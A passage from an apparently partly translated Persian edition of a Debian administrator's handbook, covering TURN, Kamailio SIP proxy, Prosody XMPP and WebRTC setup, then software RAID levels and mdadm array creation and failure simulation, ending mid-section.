ًَُٔTURN سرویسی است که به برنامه‌های پشت مسیریاب‌ها و فایروال‌های NAT کمک می‌کند تا به بهترین شیوه راهی برای برقراری ارتباط با سایر برنامه‌ها و ارسال و دریافت داده‌های چندرسانه‌ای در صورت نبود مسیر مستقیم، پیدا کنند. توصیه می‌شود قبل از ارائه سایر سرویس‌های RTC که برای کاربر نهایی طراحی شده‌اند، سرور TURN راه‌اندازی شود.

پروتکل TURN و ICE از جمله استانداردهای باز به حساب می‌آیند. به منظور بهره‌گیری از این پروتکل‌ها، برای ارتباط حداکثری و پیچیدگی حداقلی، اطمینان از اینکه تمام برنامه‌ها از ICE و TURN پشتیبانی می‌کنند، از اهمیت بالایی برخوردار است.

به منظور کارآیی بهتر الگوریتم ICE، سرور باید حداقل دو نشانی IPv4 عمومی داشته باشد.

Install the coturn package and edit the /etc/turnserver.conf configuration file. By default, a SQLite database is configured in /var/db/turndb for user account settings, but PostgreSQL, MySQL or Redis can be set up instead if preferred. The most important thing to do is insert the IP addresses of the server.

The server can be started running /usr/bin/turnserver. We want the server to be an an automatically started system service, so we edit the /etc/default/coturn file like this:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

By default, the TURN server uses anonymous access. We have to add the users we want to use:

# turnadmin -a -u roland -p secret_password -r falcot.com # turnadmin -A -u admin -p secret_password

We use the argument -a to add a normal user and -A to add an admin user.

11.8.3. سرور پروکسی SIP

یک سرور پروکسی SIP ارتباطات دریافتی و ارسالی بین سایر سازمان‌های SIP، فراهم‌کنندگان سرویس SIP، PBXهایی مانند Asterisk، تلفن‌های SIP و برنامه‌های WebRTC را مدیریت می‌کند.

به شدت توصیه می‌شود که قبل از راه‌اندازی SIP PBX ابتدا پروکسی آن را پیکربندی کنید. پروکسی SIP بسیاری از ترافیک دریافتی PBX را نرمال‌سازی می‌کند تا ارتباط و انعطاف‌پذیری بیشتری حاصل گردد.

11.8.3.1. نصب پروکسی SIP

Install the kamailio package and the package for the database backend, the Falcot administrators chose MySQL, so they install mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # $CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Now we focus on the configuration file /etc/kamailio/kamailio.cfg. Falcot needs user authentication and persistent user location, so they add the following #!define directives at the top of that file:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio needs a database structure that we can create running kamdbctl create as root.

Finally, we can add some users with kamctl.

# kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see قسمت 13.10, “نرم‌افزار ارتباط بلادرنگ” )

11.8.4. سرور XMPP

سرور XMPP ارتباط بین کاربران محلی و سایر کاربران XMPP در دامنه‌های عمومی اینترنت را مدیریت می‌کند.

واژگان XMPP یا Jabber؟

XMPP گاهی اوقات با نام Jabber نیز شناخته می‌شود. در حقیقت، Jabber یک نشانی تجاری ثبت شده برای استاندارد XMPP است.

Prosody یک سرور محبوب XMPP است که قابلیت اعتماد بالایی در سرورهای دبیان دارد.

11.8.4.1. نصب سرور XMPP

Install the prosody package.

فایل پیکربندی /etc/prosody/prosody.cfg.lua را مرور کنید. مهم‌ترین کار درج UID کاربرانی است که مجاز به مدیریت سرور هستند.

admins = { "joe@falcot.com" }

برای هر دامنه به یک فایل پیکربندی جداگانه نیاز است. از فایل نمونه /etc/prosody/conf.avail/example.com.cfg.lua به عنوان نقطه آغاز پیکربندی استفاده کنید. در اینجا falcot.com.cfg.lua آورده شده است:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com-key.pem"; certificate = "/etc/ssl/public/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

برای فعال‌سازی دامنه، یک پیوند نمادین از /etc/prosody/conf.d/ باید موجود باشد. به این صورت آن را ایجاد کنید:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

سرویس را راه‌اندازی مجدد کنید تا از پیکربندی جدید استفاده کند.

11.8.4.2. مدیریت سرور XMPP

برخی عملیات مدیریتی با استفاده از ابزار خط-فرمان prosodyctl قابل اجرا هستند. برای نمونه، به منظور افزودن حساب کاربری مدیر که در /etc/prosody/prosody.cfg.lua تعریف شده است.

# prosodyctl adduser joe@falcot.com

See the Prosody online documentation for more details about how to customize the configuration.

11.8.5. اجرای سرویس‌ها روی درگاه ۴۴۳

برخی مدیرسیستم‌ها ترجیح می‌دهند که تمام سرویس‌های RTC روی درگاه ۴۴۳ اجرا شوند. این امر به کاربرانی که از مکان‌های راه‌دور مانند هتل‌ها یا فرودگاه‌ها قصد ارتباط دارند اجازه می‌دهد که در صورت مسدود بودن سایر درگاه‌ها یا مسیریابی ترافیک اینترنت از طریق سرورهای پروکسی HTTP، به سرویس مورد نظر خود دسترسی داشته باشند.

برای استفاده از این راهبرد، هر سرویس (SIP، XMPP و TURN ) نیازمند یک نشانی IP متفاوت است. تمام سرویس‌ها می‌توانند روی یک میزبان قرار گیرند چرا که لینوکس از نشانی‌های IP گوناگون در یک رایانه پشتیبانی می‌کند. درگاه ۴۴۳ باید در فایل پیکربندی هر سرویس و رکوردهای SRV مربوط به DNS درج گردد.

11.8.6. افزودن WebRTC

فالکوت می‌خواهد به مشتریان خود اجازه دهد که از طریق وبسایت اقدام به برقراری تماس تلفنی کنند. مدیرسیستم‌های فالکوت همچنین می‌خواهند از WebRTC به عنوان بخشی از طرح بازیابی در موقع اضطرار استفاده کنند، تا کارکنان بتوانند از خانه خود با استفاده از مرورگر وب به سیستم تلفنی شرکت دسترسی داشته باشند، در زمان اضطرار.

در عمل WebRTC را امتحان کنید

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://www.sip5060.net/test-calls

WebRTC is a rapidly evolving technology and it is essential to use packages from the Testing distribution. Another option is to compile the software.

WebRTC uses a simple API to provide browsers and mobile applications with RTC, it is free software and it is being developed by Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://github.com/centricular/gstwebrtc-demos

More advanced click-to-call web sites typically use server-side scripting to generate the config.js file dynamically. The DruCall source code demonstrates how to do this with PHP.

این فصل به بررسی تنها قسمتی از نرم‌افزار سرور پرداخت؛ اگرچه، اکثر سرویس‌های متداول شبکه توضیح داده شدند. اکنون زمان بررسی یک فصل فنی‌تر فرا رسیده است. اکنون به بررسی مفاهیم مجازی‌سازی و جزئیات پیاده‌سازی آن می‌پردازیم.

فصل 12. مدیریت پیشرفته

این فصل به مرور مفاهیمی که تاکنون به آن‌ها پرداخته‌ایم می‌پردازد، اما با رویکردی متفاوت: بجای نصب یک رایانه تکی، به مطالعه نصب-انبوه روی سیستم‌ها می‌پردازیم؛ بجای نصب RAID یا LVM در زمان نصب، اینکار را به صورت دستی در زمان دیگری که نیاز داشته باشیم انجام می‌دهیم. در نهایت، درباره ابزارهای مانیتورینگ و تکنیک‌های مجازی‌سازی صحبت خواهیم کرد. به همین دلیل، مخاطب این فصل روی مدیرسیستم‌های حرفه‌ای تمرکز دارد و به جنبه‌های شخصی و انفرادی این کار کمتر توجه می‌کند.

12.1. RAID و LVM

قسمت فصل 4, نصب از نقطه نظر فرآیند نصب به بررسی این فناوری‌ها و اینکه چگونه می‌توان از ابتدا آن‌ها را به سادگی مدیریت کرد، پرداخت. پس از نصب اولیه، یک مدیرسیستم باید بتواند نیازهای رو به افزایش فضای دیسک را بدون راه‌اندازی فرآیند نصب برطرف کند. برای این منظور آن‌ها باید ابزارهای مورد نیاز برای تغییرات RAID و LVM را درک کنند.

RAID and LVM are both techniques to abstract the mounted volumes from their physical counterparts (actual hard-disk drives or partitions thereof); the former ensures the security and availability of the data in case of hardware failure by introducing redundancy, the latter makes volume management more flexible and independent of the actual size of the underlying disks. In both cases, the system ends up with new block devices, which can be used to create filesystems or swap space, without necessarily having them mapped to one physical disk. RAID and LVM come from quite different backgrounds, but their functionality can overlap somewhat, which is why they are often mentioned together.

چشم‌انداز ترکیب RAID و LVM در Btrfs

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the featuresets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/index.php/Main_Page

از میان ویژگی‌های آن، توانایی ایجاد snapshot از فایل‌سیستم در هر لحظه از زمان وجود دارد. این رونوشت از snapshot به صورت اولیه هیچ فضایی را اشغال نمی‌کند، داده زمانی تکرار می‌شود که یکی از این رونوشت‌ها تغییر کند. فایل‌سیستم همچنین از فشرده‌سازی شفاف فایل‌ها پشتیبانی و از checksum برای اطمینان از جامعیت داده‌های ذخیره شده استفاده می‌کند.

در هر دو مورد RAID و LVM، کرنل یک دستگاه بلاک-محور فراهم می‌کند، مشابه آن‌هایی که برای درایو هارد دیسک یا یک پارتیشن بکار می‌رود. زمانی که یک برنامه، یا قسمتی از کرنل، درخواست دسترسی به چنین دستگاهی را داشته باشد، زیرسیستم مرتبط با آن فرآیند مسیریابی بلاک به لایه فیزیکی مرتبط را برقرار می‌کند. با توجه به پیکربندی، این بلاک می‌تواند در یک یا چند دیسک فیزیکی ذخیره شده باشد و مکان فیزیکی آن ممکن است به صورت مستقیم مرتبط با مکان بلاک در دستگاه مجازی نباشد.

12.1.1. RAID نرم‌افزاری

RAID means Redundant Array of Independent Disks. The goal of this system is to prevent data loss and ensure availability in case of hard disk failure. The general principle is quite simple: data are stored on several physical disks instead of only one, with a configurable level of redundancy. Depending on this amount of redundancy, and even in the event of an unexpected disk failure, data can be losslessly reconstructed from the remaining disks.

فرهنگ مستقل یا ارزان؟

The I in RAID initially stood for inexpensive, because RAID allowed a drastic increase in data safety without requiring investing in expensive high-end disks. Probably due to image concerns, however, it is now more customarily considered to stand for independent, which doesn't have the unsavory flavor of cheapness.

RAID می‌تواند هم به صورت سخت‌‌افزاری (افزونه‌های RAID منطبق با کارت‌های کنترل SCSI یا SATA) هم به صورت نرم‌افزاری (توسط کرنل) پیاده‌سازی شود. جدا از شیوه پیاده‌سازی آن، یک سیستم RAID در صورت وجود افزونگی کافی می‌تواند در زمان بروز نقص دیسک به کار خود ادامه دهد؛ لایه‌های بالایی آن (برنامه‌ها) حتی می‌توانند در صورت بروز مشکل به داده دسترسی داشته باشند. البته که این “حالت ناامن” می‌تواند عملکرد منفی روی سیستم بگذارد و منجر به کاهش سطح افزونگی گردد، بنابراین یک نقص دیسک دیگر، منجر به از دست دادن داده می‌شود. در عمل، تنها یک دیسک تلاش می‌کند که در این حالت تخریبی تا زمان برطرف شدن مشکل قرار بگیرد. زمانی که دیسک جدید جایگزین شود، سیستم RAID می‌تواند با بازسازی داده به حالت امن خود بازگردد. زمانی که آرایه در حالت ناامن یا فاز بازسازی داده قرار می‌گیرد، عملا وقفه‌ای در برنامه‌ها ایجاد نمی‌گردد بجز کاهش سرعت دسترسی به داده.

زمانی که RAID به صورت سخت‌افزاری پیاده‌سازی شود، پیکربندی آن درون ابزار برپایی BIOS قرار می‌گیرد و کرنل یک آرایه RAID را به عنوان یک دیسک مجزا در نظر می‌گیرد، که مانند یک دیسک استاندارد کار خواهد کرد، با این حال نام دستگاه می‌تواند متفاوت باشد (بر اساس درایو بکار رفته).

ما تنها به RAID نرم‌افزاری در این کتاب اشاره می‌کنیم.

12.1.1.1. سطوح مختلف RAID

RAID در حقیقت یک سیستم مجزا نیست، بلکه بازه‌ای از سیستم‌ها در سطوح مختلف است؛ این سطوح با توجه به ساختار و میزان افزونگی داده با یکدیگر فرق دارند. هر چه افزونگی بیشتر باشد، توانایی مواجه به دیسک‌های خراب در زمان نقص سخت‌افزاری بالاتر می‌رود. نقطه مقابل آن زمانی است که فضای موجود برای مجموعه‌ای از دیسک‌ها کاهش یابد؛ که در این صورت به دیسک‌های بیشتری برای ذخیره‌سازی داده نیاز است.

RAID خطی

Even though the kernel's RAID subsystem allows creating “linear RAID”, this is not proper RAID, since this setup doesn't involve any redundancy. The kernel merely aggregates several disks end-to-end and provides the resulting aggregated volume as one virtual disk (one block device). That is about its only function. This setup is rarely used by itself (see later for the exceptions), especially since the lack of redundancy means that one disk failing makes the whole aggregate, and therefore all the data, unavailable.

RAID-0

این سطح نیز هیچ افزونگی داده‌ای را فراهم نمی‌کند ولی برخلاف سطح قبل دیسک‌ها به صورت پیوسته پشت سر هم قرار نمی‌گیرند: بلکه به stripes تقسیم می‌شوند و بلاک‌های دستگاه مجازی روی این stripe از دیسک‌های فیزیکی قرار می‌گیرند. برای نمونه، در یک تنظیم RAID-0 با دو دیسک، بلاک‌های شماره زوج از دستگاه مجازی روی دیسک فیزیکی اول و بلاک‌های شماره فرد روی دیسک فیزیکی دوم ذخیره می‌شوند.

This system doesn't aim at increasing reliability, since (as in the linear case) the availability of all the data is jeopardized as soon as one disk fails, but at increasing performance: during sequential access to large amounts of contiguous data, the kernel will be able to read from both disks (or write to them) in parallel, which increases the data transfer rate. The disks are utilized entirely by the RAID device, so they should have the same size not to lose performance.

RAID-0 use is shrinking, its niche being filled by LVM (see later).

RAID-1

این سطح، که با نام “RAID Mirroring” نیز شناخته می‌شود، ساده‌ترین و پرکاربردترین تنظیم مورد استفاده است. در حالت استاندارد، از دو دیسک فیزیکی هم اندازه استفاده می‌کند تا یک فضای منطقی به همان اندازه را فراهم کند. داده به صورت کاملا یکسان روی هر دو دیسک ذخیره می‌شود، که همان عبارت “mirror” است. زمانی که یک دیسک خراب شود داده از دیسک دیگر قابل دسترس است. برای داده‌های بسیار حیاتی، RAID-1 می‌تواند با بیش از دو دیسک تنظیم شود، که تاثیر مستقیم روی نرخ هزینه سخت‌افزار در مقابل فضای موجود خواهد گذاشت.

یادداشت دیسک‌ها و اندازه‌های خوشه

اگر دو دیسک با اندازه مختلف در این سطح بکار گرفته شوند، از دیسک بزرگ‌تر به طور کامل استفاده نخواهد شد چرا که تنها شامل تمام داده‌های دیسک کوچک‌تر است. بنابراین فضای قابل استفاده در یک تنظیم RAID-1 برابر با کوچک‌ترین دیسک موجود در آرایه است. این الگو در رابطه با سایر سطوح RAID پیشرفته‌تر نیز صادق است، با اینکه ممکن است از فرآیند افزونگی دیگری استفاده کنند.

به همین دلیل، مهم است که در زمان برپایی آرایه‌های RAID (بجز RAID-0 و خطی) از دیسک‌های با اندازه مشابه یا بسیار نزدیک به هم استفاده شود تا هیچ فضای اضافی تلف نگردد.

یادداشت دیسک‌های کمکی

سطوح RAID که شامل افزونگی داده هستند اجازه استفاده از دیسک‌های بیشتر در آرایه دیسک‌ها را فراهم می‌کنند. از این دیسک‌ها به منظور پشتیبان در زمان بروز نقص برای یکی از دیسک‌های موجود استفاده می‌شود. برای نمونه، در یک تنظیم دو دیسکه همراه با دیسک کمکی، اگر یکی از دیسک‌های اولیه معیوب شود، کرنل به صورت خودکار (و بلافاصله) فضای موجود را با استفاده از دیسک کمکی بازسازی می‌کند، به منظور اینکه اطمینان از عملیات افزونگی داده پس از زمان بازسازی حاصل گردد. از این روش می‌توان به عنوان گام اضافه برای نگهداری از داده‌های بسیار حساس استفاده کرد.

ممکن است به نظر آید که چطور این پیکربندی در مقایسه با استفاده از سه دیسک برای mirroring ممکن است مفید باشد. مزیت استفاده از پیکربندی “دیسک کمکی” این است که می‌تواند بین چندین فضای ذخیره‌سازی RAID به اشتراک گذاشته شود. برای نمونه، می‌توان از سه فضای ذخیره‌سازی mirrored استفاده کرد، همراه با افزونگی داده که در صورت بروز نقص در یکی از دیسک‌ها بکار می‌آید، همراه با هفت دیسک (سه زوج به همراه یک دیسک کمکی) بجای نه دیسک که مورد نیاز سه خانواده سه زوجی است.

این سطح RAID، با وجود هزینه بالا (از آنجا که در بهترین حالت از نصف فضای ذخیره‌سازی استفاده می‌شود) در عمل بسیار مورد استفاده قرار می‌گیرد. درک آن بسیار ساده است و امکان ایجاد پشتیبان‌های ساده وجود دارد: از آنجا که هر دو دیسک شامل محتوای یکسانی هستند، یکی از آن‌ها بدون ایجاد کوچکترین تاثیر منفی روی سیستم می‌تواند تخلیه شود. عملیات خواندن نیز بسیار سریع‌تر خواهد بود چرا که در هر لحظه کرنل به صورت همزمان نصف داده را از هر دو دیسک می‌تواند بخواند، با اینکه عملیات نوشتن آنطور که به نظر می‌آید تاثیر منفی ندارد. در مورد آرایه RAID-1 از N دیسک، حتی در صورت معیوب شدن N-1 دیسک داده کماکان قابل دسترس خواهد بود.

RAID-4

این سطح RAID، که کاربرد زیادی ندارد، از N دیسک برای ذخیره‌سازی داده مفید و از یک دیسک اضافی برای ذخیره‌سازی اطلاعات افزونگی استفاده می‌کند. اگر این دیسک اضافی معیوب شود، سیستم می‌تواند با آن N دیسک دیگر محتوای خود را بازسازی کند، به صورتی که N-1 دیسک باقیمانده همراه با دیسک “parity” شامل اطلاعات کافی برای بازسازی تمام اطلاعات هستند.

RAID-4 هزینه زیادی ندارد چرا که تنها شامل یک هزینه افزایشی یک در N می‌باشد که تاثیر بسزایی روی عملیات خواندن ندارد ولی عملیات نوشتن را کند می‌کند. علاوه بر این، از آنجا که نوشتن روی هر یک از N دیسک به معنای نوشتن روی دیسک parity است، این دیسک اضافی شاهد نوشتن‌های بیشتری نسبت به سایر دیسک‌ها است و همین دلیل نیز باعث کاهش طول عمر مفید آن می‌گردد. داده روی آرایه RAID-4 تنها در صورت معیوب شدن یک دیسک از N+1 دیسک موجود ایمن خواهد بود.

RAID-5

RAID-5 مشکل عدم تقارن در RAID-4 را برطرف می‌کند: بلاک‌های parity بین تمام N+1 دیسک دیگر پخش می‌شوند به صورتی که تنها یک دیسک نقش منحصربفرد نداشته باشد.

عملیات خواندن و نوشتن درست مانند RAID-4 است. در اینجا نیز، سیستم تا زمانی بکار خود ادامه می‌دهد که تنها یک دیسک معیوب از N+1 دیسک موجود باشد ولی نه بیشتر.

RAID-6

RAID-6 می‌تواند به عنوان افزونه‌ای برای RAID-5 در نظر گرفته شود، به صورتی که هر سری از N بلاک شامل دو بلاک افزونگی داده است و هر یک از این N+2 بلاک میان N+2 دیسک تقسیم می‌شود.

این سطح RAID در مقایسه با دو سطح قبلی هزینه بیشتری در پی دارد، ولی امنیت بیشتری نیز به همراه می‌آورد چرا که تا دو درایو از N+2 دیسک موجود در صورت معیوب شدن می‌توانند بکار خود ادامه دهند. نقطه مقابل آن این است که عملیات نوشتن شامل یک بلاک داده و دو بلاک افزونگی دیگر است، که این آرایه را در مقایسه با سطوح دیگر کندتر نیز می‌کند.

RAID-1+0

This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there is no problem with that.

RAID-1+0 می‌تواند از چندین نقص دیسک فرار کند: تا N دیسک از 2N آرایه تعریف شده بالا که برای هر کدام از زوج‌های RAID-1 فراهم شده است، می‌تواند معیوب شود.

مطالعه بیشتر RAID-10

RAID-10 بیشتر به عنوان مترادفی برای RAID-1+0 استفاده می‌شود، اما در لینوکس به عنوان یک استاندارد بکار گرفته می‌شود. این تنظیم شامل سیستمی است که هر بلاک آن درون دو دیسک متفاوت ذخیره می‌شود، حتی با تعداد دیسک‌های فرد، عملیات رونوشت‌گیری با استفاده از مدل قابل پیکربندی به صورت بهینه انجام می‌شود.

عملکرد کلی سیستم با توجه به سطح افزونگی و مدل پارتیشن‌بندی متفاوت خواهد بود، همچنین فضای ذخیره‌سازی منطقی نیز روی آن تاثیرگذار است.

به طور مشخص، سطح RAID با توجه به محدودیت‌ها و نیازمندی‌های سیستم موجود انتخاب می‌شود. نکته اینکه یک رایانه می‌تواند شامل چندین آرایه RAID منحصربفرد به همراه پیکربندی‌های متفاوت باشد.

12.1.1.2. برپایی RAID

برپایی آرایه‌های RAID نیازمند بسته mdadm است؛ که شامل دستور mdadm برای ایجاد و ویرایش این آرایه‌ها می‌باشد همراه با ابزارهای جانبی و اسکریپت‌هایی که آن را با سایر قسمت‌های سیستم از جمله مانیتورینگ یکپارچه می‌سازد.

مثال ما شامل سروری با چندین دیسک است که برخی از آن‌ها استفاده شده و برخی دیگر که آزاد هستند به عنوان RAID بکار گرفته می‌شوند. در حالت اولیه دیسک‌ها و پارتیشن‌های زیر را در اختیار داریم:

دیسک ۴ گیگابایت sdb کاملا موجود است؛

دیسک ۴ گیگابایت sdc کاملا موجود است؛

در دیسک sdd تنها پارتیشن ۴ گیگابایت sdd2 موجود است؛

در نهایت، دیسک ۴ گیگابایت sde که کاملا موجود است.

یادداشت شناسایی آرایه‌های موجود RAID

فایل /proc/mdstat فهرستی از آرایه‌های موجود و شرایط آن‌ها را نگهداری می‌کند. در زمان ایجاد یک آرایه جدید RAID، باید دقت کرد که نام آن با نام آرایه‌ای موجود برابر نباشد.

با استفاده از این دیسک‌ها می‌خواهیم دو فضای ذخیره‌سازی بوجود آوریم، یکی RAID-0 و دیگری RAID-1. بیایید با آرایه RAID-0 شروع کنیم:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Tue Jun 25 08:47:49 2019 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Tue Jun 25 08:47:49 2019 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Chunk Size : 512K Consistency Policy : none Name : mirwiz:0 (local to host debian) UUID : 146e104f:66ccc06d:71c262d7:9af1fbc7 Events : 0 Number Major Minor RaidDevice State 0 8 32 0 active sync /dev/sdb 1 8 48 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.44.5 (15-Dec-2018) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: 413c3dff-ab5e-44e7-ad34-cf1a029cfe98 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.9G 36M 7.4G 1% /srv/raid-0

The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0 is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It is also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear instead of /dev/md0.

ایجاد یک آرایه RAID-1 مشابه قبل است که تفاوت آن تنها پس از فرآیند ایجاد مشخص می‌گردد:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Tue Jun 25 10:21:22 2019 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Tue Jun 25 10:22:03 2019 State : clean, resyncing Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Resync Status : 93% complete Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 16 Number Major Minor RaidDevice State 0 8 64 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

نکته RAID، دیسک‌ها و پارتیشن‌ها

همانطور که در مثال نیز مشخص است، دستگاه‌های RAID بدون پارتیشن‌بندی‌های دیسک نیز می‌توانند ایجاد گردند و نیازمند دیسک‌های کامل نمی‌باشند.

چند نکته باقی می‌ماند. اول، mdadm تشخیص می‌دهد که دستگاه‌های فیزیکی شامل اندازه‌های متفاوت هستند؛ از آنجا که این امر منجر به گم شدن فضا در دیسک بزرگتر می‌شود، تاییدیه آن مورد نیاز است.

مهمتر از آن به حالت دیسک mirror توجه کنید. حالت عادی در آرایه RAID که به صورت mirror باشد مشابهت کامل محتوا در هر دو دیسک است. با این حال، ضمانتی برای بوجود آمدن این حالت در زمان ایجاد آرایه وجود ندارد. زیرمجموعه RAID خود این ضمانت را ایجاد می‌کند و به محض اینکه دستگاه RAID ساخته شود عملیات همگام‌سازی صورت می‌گیرد. بعد از گذشت زمان (که وابسته به اندازه‌ دیسک‌ها است) آرایه RAID به حالت “فعال” یا “تمیز” تغییر می‌یابد. نکته اینکه در زمان این فاز بازسازی، mirror در یک حالت ناپایدار قرار می‌گیرد که افزونگی داده در آن تضمین نمی‌شود . دیسکی که در این بازه زمانی دچار مشکل گردد ممکن است به حذف داده بینجامد. با توجه به این موضوع، قبل از فاز همگام‌سازی معمولا داده‌های بزرگ و حساس روی آرایه RAID قرار نمی‌گیرند. حتی در حالت ناپایدار نیز، /dev/md1 قابل استفاده است و یک فایل سیستم می‌تواند روی آن ایجاد گردد و داده‌های روی آن قرار گیرند.

نکته آغاز یک mirror در حالت ناپایدار

بعضی وقت‌ها در زمان آغاز mirror از RAID-1 دو دیسک بلافاصله قابل دسترس نخواهند بود، برای نمونه به این دلیل که یکی از دیسک‌ها برای ذخیره داده‌هایی استفاده شده است که دیگری می‌خواهد از آن mirror بگیرد. در چنین شرایطی، امکان ارجاع یک آرایه RAID-1 ناپایدار با استفاده از پارامتر missing بجای نام دستگاه در mdadm وجود دارد. زمانی که از داده در “mirror” رونوشت گرفته شود، دیسک قدیمی می‌تواند به آرایه اضافه گردد. سپس همگام‌سازی صورت می‌گیرد که امکان افزونگی داده با استفاده از دیسک قدیمی را فراهم می‌آورد.

نکته برپایی یک mirror بدون همگام‌سازی

آرایه‌های RAID-1 اغلب به منظور ایجاد یک دیسک جدید و خالی استفاده می‌شوند. از این رو محتوای اولیه دیسک خیلی حائز اهمیت نیست، از این رو باید دانست داده‌ای که پس از ایجاد فایل سیستم در آرایه قرار می‌گیرد قابل دسترس خواهد بود.

شاید این سوال پیش بیاید که هدف از همگام‌سازی دو دیسک در زمان ایجاد آرایه چیست. چرا به یکسان بودن محتوایی که روی ناحیه‌های این آرایه قرار می‌گیرد اهمیت بدهیم وقتی می‌دانیم تنها پس از نوشتن روی آن است که می‌توان به آن‌ها دسترسی داشت؟

خوشبختانه، این فاز همگام‌سازی می‌تواند با استفاده از گزینه --assume-clean در mdadm در نظر گرفته نشود. اگرچه، این گزینه ممکن است منجر به سردرگمی در مواردی شود که داده اولیه خوانده خواهد شد (برای نمونه، وقتی یک فایل سیستم هم اکنون روی دیسک موجود باشد)، به همین دلیل است که به صورت پیشفرض فعال نیست.

اکنون بیایید ببینیم در زمان بروز مشکل برای یکی از آرایه‌های RAID-1 چه اتفاقی می‌افتد. mdadm و به طور خاص گزینه --fail آن، امکان شبیه‌سازی این نقص دیسک را بوجود می‌آورد:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Update Time : Tue Jun 25 11:03:44 2019 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 20 Number Major Minor RaidDevice State - 0 0 0 removed 1 8 80 1 active sync /dev/sdd2 0 8 64 - faulty /dev/sde

محتوای آرایه هنوز قابل دسترس است (و در صورت اتصال به فایل سیستم، وقفه‌ای در برنامه‌ها ایجاد نمی‌شود) اما امنیت داده دیگر تضمین نمی‌شود: در صورت بروز نقص برای دیسک sdd داده از بین می‌رود. به منظور پیشگیری از این خطر دیسک معیوب را با sdf جایگزین می‌کنیم:

